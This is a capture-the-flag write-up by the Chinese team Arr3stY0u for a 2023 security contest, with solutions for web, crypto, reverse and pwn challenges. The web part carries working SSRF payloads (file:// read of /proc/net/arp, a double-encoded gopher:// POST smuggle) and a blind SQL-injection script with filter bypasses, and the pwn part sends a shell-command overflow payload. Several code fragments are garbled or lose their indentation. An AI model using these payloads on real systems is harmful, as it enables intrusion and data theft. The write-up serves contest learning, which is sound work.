HEADER
招新:WEB、CRYPTO、PWN、REVERSE、MISC、BLOCKCHAIN|(不招小白)
简历投递:[email protected](直接加qq也可以)
WEB
ban 掉了 127.0 等关键字,利用/proc/net/arp 读内网地址
/?url=file:///proc/net/arp
然后构造post请求包
POST /flag.php HTTP/1.1
Host: 10.252.47.1
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
Connection: close
key=2730ea2fd4c40df0f8b7fdb6738221d6
url 编码两次,hackbar 发包
http://80.endpoint-
23fd7089a8224c3d9a662d874963c896.s.ins.cloud.dasctf.com:81/?url=gopher://127.1:80/_
%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%2
5%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%
35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30
%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%3
0%25%32%65%25%33%32%25%33%35%25%33%32%25%32%65%25%33%34%25%33%37%25%32%65%
25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25
%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%3
6%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%34%33%25%36%
66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39
%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%2
5%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%
37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37
%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%3
3%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%
25%36%65%25%36%65%25%36%35%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25
%33%61%25%32%30%25%36%33%25%36%63%25%36%66%25%37%33%25%36%35%25%30%64%25%3
0%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%32%25%33%
37%25%33%33%25%33%30%25%36%35%25%36%31%25%33%32%25%36%36%25%36%34%25%33%34
%25%36%33%25%33%34%25%33%30%25%36%34%25%36%36%25%33%30%25%36%36%25%33%38%2
5%36%32%25%33%37%25%36%36%25%36%34%25%36%32%25%33%36%25%33%37%25%33%33%25%
33%38%25%33%32%25%33%32%25%33%31%25%36%34%25%33%36
禁用了 union 用 if 绕,禁用 substr 和 ascii,用 ord 和 left 绕
poc:
import requests
url = "http://80.endpointb4f87d056f4f44af863eda11ec632595.s.ins.cloud.dasctf.com:81/index.php?act=search"
flag = ""
for i in range(1,60):
right = 127
left = 32
while left < right:
mid = (left + right)
paylaod = {
"keyword":f"aoliao%'and"1"=if(ord(right((select(group_concat(flag))from(flag)),{i}))>{mid},
1,0)#"
}
tx = requests.post(url,data=paylaod).text
if "ID:724" in tx:
left = mid + 1
else:
right = mid
flag = chr(right) + flag
print(flag)
CRYPTO
babysecret:
根据 HNP 问题构造格,s 比特有 400 有些格用不了,发现下面这个格可以解,先求出 x
from Crypto.Util.number import *
from sage.all import *
import time
d = 30
p =
6897108443075981744484758716081045417854227543713106404294789655180105457
4990421797174473425937901809434150140448308729251651634574762098193566942
44840079
inputs =
[128446345492630532287597492644036370227402900082869874015850689527419352
7741552767838002121262484672224250070842275956355899593697727458030137949
4195702461,
1225163400368345291692810229117033993958664402977619230174134167458515485
9358419625191986830852794085541953563738986709807899575511700135958334229
151930861,
7051370666077542197248638013011793824477073777322219545882367881807130066
1684441349645713981121518488340326549783682552186497207380409454298376928
57031957,
9773046862351952930368505593284546267554571295872377323111558071278701231
4729757919629792565515195337239885568705518850737424076304811981923897502
89392107,
8883776497660138308720006912582738672888752344326928153810910221453595077
7112843020415125294574502116027872107614611723264298805940241870254198730
43435877,
1205673513714546003658084103833210031116036884387316464960634304241689689
8793233249873902218683966283969721460087390120622254758027779960740926123
005377571,
8819958747150954554494406068232243249186433676383469322817152210037563032
0562029093778257407753830876056473741504770967189564542259460937106918649
88563109,
1224602344909835475104959987321398802451228627096460850244459711211016339
2131757813461977030270733012385926751192637938686124570227538910606279104
888073013,
1130883799886724192981795059562183100233446899382812643859980598908801732
6675963100044309448653090403889186401929445861220402556074702741108929442
867300279,
9184622887414209361516593101129556569811888214607556630094969763910426953
7860207558380941849723974802766661706859264251370635593949691662163929392
57091541,
1289640006951589089743008781598254567183064520102366511242977964076889909
1287291452408369445919464144390726200808875066389240126909811239597092893
733457339,
1122702569869747180991285043514088678531570227882676105447252522795179164
7003561270585720797267604996360933395122286757099101227901032364782594523
739698877,
8162123490656317490361880020667919072708091053716891870691544217490126444
9975034040941742460879388289936963351914885833064435772087967942740992820
13427247,
1336698988944267029146126231375797760009596205747086347551908864826730112
9719953368943419562144276679400967122727554764013132918505564677243979978
807323041,
9920857455945408588203972193444437533164351309299040911469275059092031755
8114924605856539484815229955578017818382154076485729993584566125258120675
38372579,
7139402473546047825312503780125417567716958846513076797328672521987900978
2932603852679451876047253497201036722589879355698562399872274557482138333
42843243,
1310814266029457275225239308142136849339292188448775539146000673025815900
4638343897340537616297811742032405724656497443006056456690449881719305597
286675631,
1327676295840378607738009019563198041529728084995028799071719354748155312
4160398455403123819234755237450529090601858784999113026218918277529515287
668651121,
1246309464005288655069655177210453936126452958756920447203895537634508519
5998921095774583176899949596998985033050547755235409943131811058035802010
421860899,
1130774313169486480830193584472464569585133073696987519016742202450075307
9857478680029193758960169072890576310607053767920339034290416580654771095
674487943,
1005374250354737845506896670440269595670279540834360491229492321744355316
9726438945982031485796964462946592530592946335569560364464958066521486506
177193131,
9703695763451799125258961776229325510814289358679213305418559381901496449
8495842442118348723137678449962555567210410076546251538091289874229921022
92472533,
8148189465927721940294369879439913703690047528695196368949823197675716174
9912965137581960093467015536437212252506281513840472199217092016192623937
92138023,
9114150910964237818418367840207724528917302406836157928223872622442928604
2498644868587557371496406832598342991659006965850385691886276820220027090
58902291,
1227351437618078190346928734518840439903343211791509428969440756216664907
9228640510678711431664410226301556172582177240184695103942141430877677144
285616059,
8355005721684425514882933910286584148305344580589623112959517428993968438
5338669062237777780580969623332032371112453284366009941201689241438496857
28268811,
8957883838807471492147480816683526636019698464133185237668243268667169800
8116967704844871235601979884484344751123520057682864175293191821622458405
23697001,
1216854258472481435663240976868739692014330055957964896385192456838731491
4334359305942685551210180448419674060219496395116081866784918059237133414
041227833,
1228593500793082557167212834680431360719619046569075987075827870508603477
8808662886056460827935986285259185071514490942831585313190946386878622608
868345563,
7719913817859572377164973343651155934060296607908537845256755472465025202
7512399807589500948650677514078895693699740111398014015869391191477734661
11699913]
answers =
[391132590126177073106634372735309338560719688360102224442685746007433842
0692610012414571623512152485474248169220030587839849722757773859682519433
853455847,
4198555117325325874584019691418573071733167640213933749582347442518997588
4522116731437221792817736024555070013959836810097698484140072062686821848
16168744,
4422173666634983234895098798813962037875417568235708524339826709271381748
8849361783717675740647941774166157101202239147258732398361216547052086145
76413533,
3540260422555697887869627546208164711550015909378340105077652177481959576
5506783797234509818075568635726107598246606304186705462037331700586267550
80797998,
6451498467498935201092514865627931677091078787997097414208430992183264950
5790223733722544865954581178873053933176637123376993315037251242870171348
08484874,
3439629581963524351810430910737336124616316641656190641248434504621774235
9435146173018579170411116171048502451487464271800697439406125607182131779
03427306,
4279468191481832212496939242093486044278976937965085475567008228061184947
5131560123695869704865430831305656289062966005530245740994812465348782429
20637212,
4102135455518061133919027670571325279976222647984452353051395864554309521
2234987618230847170771022136486128265136616295999716095552357601520495490
57234342,
3290519278903650288890974635637119666730667956887288762147311887831686915
5526215651516142932858109408758512792986906468541914967659207349615589836
0311360,
1674347209896897571502352451063188834938904430329951752111921115230349947
8231881219729800255638788872015076294198117369106909650209237514241015218
16057970,
4779084317811375050159574994746297486592271247137823471375199626788956576
9986271812204899525079377680425012030983919667022978125374632117998379216
84467541,
5240331815784322792144549873873658636726233093228415489098002982220769676
7186811327377949947087163891741628207216467447766244137353182405977453634
90427584,
2689716894922604875455207695253665212853470308341743040957367957727155614
1997435622251473596145141898779831568927496698048001632526174804465654799
90148021,
4497087695945990888512442430769210168535022523967934963495340512734542159
8556034028845239875688091668029362745777443065598222861334824948060018082
1975835,
1584603978331289335352997151059666773277943458357161051278658090420067023
6802314142555578054102881440926531215687661363727280953009827433096963470
31121424,
4874260053151700374809337053763032489184725334196495160358275038586824027
9202387338867031630184508148059373638252234592773730735910210822766101351
18976834,
3524374131362906900545297291947110177298862564718451821839794960169356082
0425483865533634809210974529027230338547494432886829835588470528432936668
15425196,
6544123591499569232021913370293570477776709315008783531720886545784773471
4867692407112625624016831459377156124352138163726801893211419287905094902
82629891,
4873861166228118967099569086478548167127431415017791678812419676791754466
9358320348708620006587896090841668919339700138498501467183798199437372699
70654866,
4100817874436703071716655163972145036104985973164830547825929590871920825
9812419346339772275479345141426607860612910266578023574040242362879553093
72489516,
3432382766813481302864951677391629024306500611454856199039643588409963413
3593504300039505668477145281562941038889148653112693890031145894880314712
0186532,
2683710724350412998770392318832434885304538325033159937379489319924346689
1974457207342098419026122354850168662549940459697164130201972964283238324
04151182,
5909464641105704179999104311562416363090166762341644691188169716182958971
2703960074225814298131729339305814757713060344952240549727252307576754447
31953480,
1055934899997476494909094713063548633166738213638633622588530439705346524
0127478919767755821518824907483782900333573321189021164850168965634582485
8507373,
4992379366542645691375959247465888889778118153982142100956809440855745659
7452355762805783161854693066200178456903125540437706510581265360401731139
49524396,
6533456398244789907636779407045515567135195474284185379689518387558345997
6274354215824373900532346759913618085322782640779685401974077437442791068
71716267,
5169360398767270275853790242315213671633880428212603766301308853363063092
6095825729575611380228068878956341408996400255707599192576155373757060081
59680239,
2033107409246999948859312669785206361669177346182728447548787850505098016
1451314473916445083493617806579211279720295910636528269924557830906090529
7742706,
3143563289239398127009575193211845399079310618985464994769603542400451633
2892660808693173361638445175392115429090558696083496394321453321133204653
88067087,
4016252180207572047405081190649590978593306403200098541033213590567723751
1959260933699845317291486214195890095158703360498495425373638320717546233
30736088]
def build_basis(oracle_inputs):
"""Returns a basis using the HNP game parameters and inputs to our oracle
"""
basis_vectors = []
for i in range(d):
p_vector = [0] * (d+1)
p_vector[i] = p
basis_vectors.append(p_vector)
basis_vectors.append(list(oracle_inputs) + [QQ(1)/QQ(p)])
return Matrix(QQ, basis_vectors)
def approximate_closest_vector(basis, v):
"""Returns an approximate CVP solution using Babai's nearest plane algorithm
"""
BL = basis.LLL()
G, _ = BL.gram_schmidt()
_, n = BL.dimensions()
small = vector(ZZ, v)
for i in reversed(range(n)):
c = QQ(small * G[i]) / QQ(G[i] * G[i])
c = c.round()
small -= BL[i] * c
return (v - small).coefficients()
startime = time.time()
lattice = build_basis(inputs)
u = vector(ZZ, list(answers) + [0])
v = approximate_closest_vector(lattice, u)
recovered_alpha = (v[-1] * p) % p
print("Recovered alpha! Alpha is %d" % recovered_alpha)
endtime = time.time()
print(f"Time Spend {endtime - startime}")
得到以下脚本:
import hashlib
from Crypto.Util.number import *
#n =
6897108443075981744484758716081045417854227543713106404294789655180105457
4990421797174473425937901809434150140448308729251651634574762098193566942
44840079
#factor(n-1)
# 2 * 3 * 193 * 877 * 2663 * 662056037 * 812430763 * 814584769 * 830092927 * 849943517
969016409 * 1000954193 * 1022090869 * 1048277339 *
7938574420107972329924249635772221961795521132311900945710547973
# c = pow(m, secret, n)
# h = g^x mod p
def r(h, g, N, p, qi):
Zp = Zmod(p)
h = pow(h, N//qi, p)
g = pow(g, N//qi, p)
ri = discrete_log(Zp(h), Zp(g))
return int(ri)
m =
6789891305297779556556571922812978922375073901749764215969003309869718878
0762695453040558431253015531035312523348765604334054511088952069699042684
56786139
n =
6897108443075981744484758716081045417854227543713106404294789655180105457
4990421797174473425937901809434150140448308729251651634574762098193566942
44840079
c =
1315637864146686255246675143589215932218700984880749264689270214639479160
6487473235860620960677400478097989449962531694026757724690289149045981163
94230426
tmp_list = [2, 3, 193, 877, 2663,662056037, 812430763 , 814584769 , 830092927,
849943517 ,969016409 , 1000954193 , 1022090869 , 1048277339 ]
r_list = []
for qi in tmp_list:
tmp = r(c,m,n-1,n,qi)
print(tmp)
r_list.append(tmp)
x = crt(r_list, tmp_list)
module = 1
for i in tmp_list:
module *= i
while True:
if int(x).bit_length()>304:
print('fail')
break
if int(pow(m, x, n))==c:
', x) =
flag = long_to_bytes(x)
print(flag)
break
x += module
REVVERSE
void dump_data(uint32_t *v, int n, bool hex_or_chr)
{
if (hex_or_chr)
{
for (int i = 0; i < n; i++)
{
printf("0x%x,", v[i]);
}
}
else
{
for (int i = 0; i < n; i++)
{
for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
{
printf("%c", (v[i] >> (j * 8)) & 0xFF);
}
}
}
printf("n");
return;
}
int main()
{
unsigned int cipher[] = {0xc883b3aa, 0x07fb3950, 0x75bc5959, 0x7ab57e27,
0xc0249800, 0xada35753, 0xbf1d493f, 0x6e14af04, 0x468312c4};
unsigned int n = sizeof(cipher) / sizeof(uint32_t);
unsigned int delta = 0x67616C66;
unsigned int sum = 0xD89114C8;
__int64 v25[] = {0xE000004DBLL, 0x2A600000017LL};
unsigned int v8;
unsigned int v5;
unsigned int v7;
unsigned int v19;
unsigned int v23;
unsigned int v18;
unsigned int v20;
unsigned int v21;
unsigned int v22;
unsigned int s1_0 = cipher[0];
unsigned int s1_1 = cipher[1];
unsigned int s1_2 = cipher[2];
unsigned int s1_3 = cipher[3];
unsigned int s1_4 = cipher[4];
unsigned int s1_5 = cipher[5];
unsigned int s1_6 = cipher[6];
unsigned int s1_7 = cipher[7];
unsigned int s1_8 = cipher[8];
while (sum - delta != delta)
{
sum -= delta;
v8 = *((unsigned int *)v25 + ((sum >> 2) & 3));
v5 = *((unsigned int *)v25 + (((unsigned __int8)(sum >> 2) ^ 2) & 3));
v7 = *((unsigned int *)v25 + (((unsigned __int8)(sum >> 2) ^ 1) & 3));
v19 = v8;
v23 = v8;
v18 = *((unsigned int *)v25 + (~(unsigned __int8)(sum >> 2) & 3));
v20 = *((unsigned int *)v25 + (((unsigned __int8)(sum >> 2) ^ 5) & 3));
v21 = *((unsigned int *)v25 + (((unsigned __int8)(sum >> 2) ^ 6) & 3));
v22 = *((unsigned int *)v25 + (((unsigned __int8)(sum >> 2) ^ 7) & 3));
s1_8 -= ((s1_7 ^ v23) + (s1_0 ^ sum)) ^ (((16 * s1_7) ^ (s1_0 >> 3)) + ((4 * s1_0)
^ (s1_7 >> 5)));
s1_7 -= ((s1_6 ^ v22) + (sum ^ s1_8)) ^ (((16 * s1_6) ^ (s1_8 >> 3)) + ((4 * s1_8)
^ (s1_6 >> 5)));
s1_6 -= ((s1_5 ^ v21) + (s1_7 ^ sum)) ^ (((4 * s1_7) ^ (s1_5 >> 5)) + ((16 * s1_5)
^ (s1_7 >> 3)));
s1_5 -= ((s1_4 ^ v20) + (s1_6 ^ sum)) ^ (((4 * s1_6) ^ (s1_4 >> 5)) + ((16 * s1_4)
^ (s1_6 >> 3)));
s1_4 -= ((s1_3 ^ v19) + (s1_5 ^ sum)) ^ (((4 * s1_5) ^ (s1_3 >> 5)) + ((16 * s1_3)
^ (s1_5 >> 3)));
s1_3 -= ((s1_2 ^ v18) + (sum ^ s1_4)) ^ (((4 * s1_4) ^ (s1_2 >> 5)) + ((16 * s1_2)
^ (s1_4 >> 3)));
s1_2 -= ((s1_1 ^ v5) + (sum ^ s1_3)) ^ (((4 * s1_3) ^ (s1_1 >> 5)) + ((16 * s1_1) ^
(s1_3 >> 3)));
s1_1 -= ((s1_0 ^ v7) + (s1_2 ^ sum)) ^ (((4 * s1_2) ^ (s1_0 >> 5)) + ((16 * s1_0) ^
(s1_2 >> 3)));
s1_0 -= ((s1_8 ^ v8) + (s1_1 ^ sum)) ^ (((4 * s1_1) ^ (s1_8 >> 5)) + ((s1_1 >> 3)
^ (16 * s1_8)));
}
sum -= delta;
v8 = 0xE;
v7 = 0x4DB;
v5 = 0x2A6;
v18 = 0x17;
v19 = 0xE;
v20 = 0x4DB;
v21 = 0x2A6;
v22 = 0x17;
v23 = 0xE;
s1_8 -= ((s1_7 ^ v23) + (s1_0 ^ sum)) ^ (((16 * s1_7) ^ (s1_0 >> 3)) + ((4 * s1_0) ^
(s1_7 >> 5)));
s1_7 -= ((s1_6 ^ v22) + (sum ^ s1_8)) ^ (((16 * s1_6) ^ (s1_8 >> 3)) + ((4 * s1_8) ^
(s1_6 >> 5)));
s1_6 -= ((s1_5 ^ v21) + (s1_7 ^ sum)) ^ (((4 * s1_7) ^ (s1_5 >> 5)) + ((16 * s1_5) ^
(s1_7 >> 3)));
s1_5 -= ((s1_4 ^ v20) + (s1_6 ^ sum)) ^ (((4 * s1_6) ^ (s1_4 >> 5)) + ((16 * s1_4) ^
(s1_6 >> 3)));
s1_4 -= ((s1_3 ^ v19) + (s1_5 ^ sum)) ^ (((4 * s1_5) ^ (s1_3 >> 5)) + ((16 * s1_3) ^
(s1_5 >> 3)));
s1_3 -= ((s1_2 ^ v18) + (sum ^ s1_4)) ^ (((4 * s1_4) ^ (s1_2 >> 5)) + ((16 * s1_2) ^
(s1_4 >> 3)));
s1_2 -= ((s1_1 ^ v5) + (sum ^ s1_3)) ^ (((4 * s1_3) ^ (s1_1 >> 5)) + ((16 * s1_1) ^
(s1_3 >> 3)));
s1_1 -= ((s1_0 ^ v7) + (s1_2 ^ sum)) ^ (((4 * s1_2) ^ (s1_0 >> 5)) + ((16 * s1_0) ^
(s1_2 >> 3)));
s1_0 -= ((s1_8 ^ v8) + (s1_1 ^ sum)) ^ (((4 * s1_1) ^ (s1_8 >> 5)) + ((s1_1 >> 3) ^ (16
* s1_8)));
cipher[0] = s1_0;
cipher[1] = s1_1;
cipher[2] = s1_2;
cipher[3] = s1_3;
cipher[4] = s1_4;
cipher[5] = s1_5;
cipher[6] = s1_6;
cipher[7] = s1_7;
cipher[8] = s1_8;
printf("解密后明文数据:");
dump_data(cipher, n, 1);
printf("解密后明文字符:");
dump_data(cipher, n, 0);
return 0;
}
// 541c290d-e89f-4539-8d24-2ccbd1ead8ae
PWN
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
sl(b'cat f*;'.ljust(0x28,b'x00') + b'x10x00x06xF0')
ia()
FOOTER
山海关安全团队是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。
此外,团队于2022年1月3日成立Arr3stY0u战队,积极参与国内外各大网络安全竞赛。Arr3stY0u意喻”逮捕你“,依托高超的逆向分析与情报分析技术,为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。
原文始发于微信公众号(Arr3stY0u):2023 数字网络安全人才挑战赛 writeup by Arr3stY0u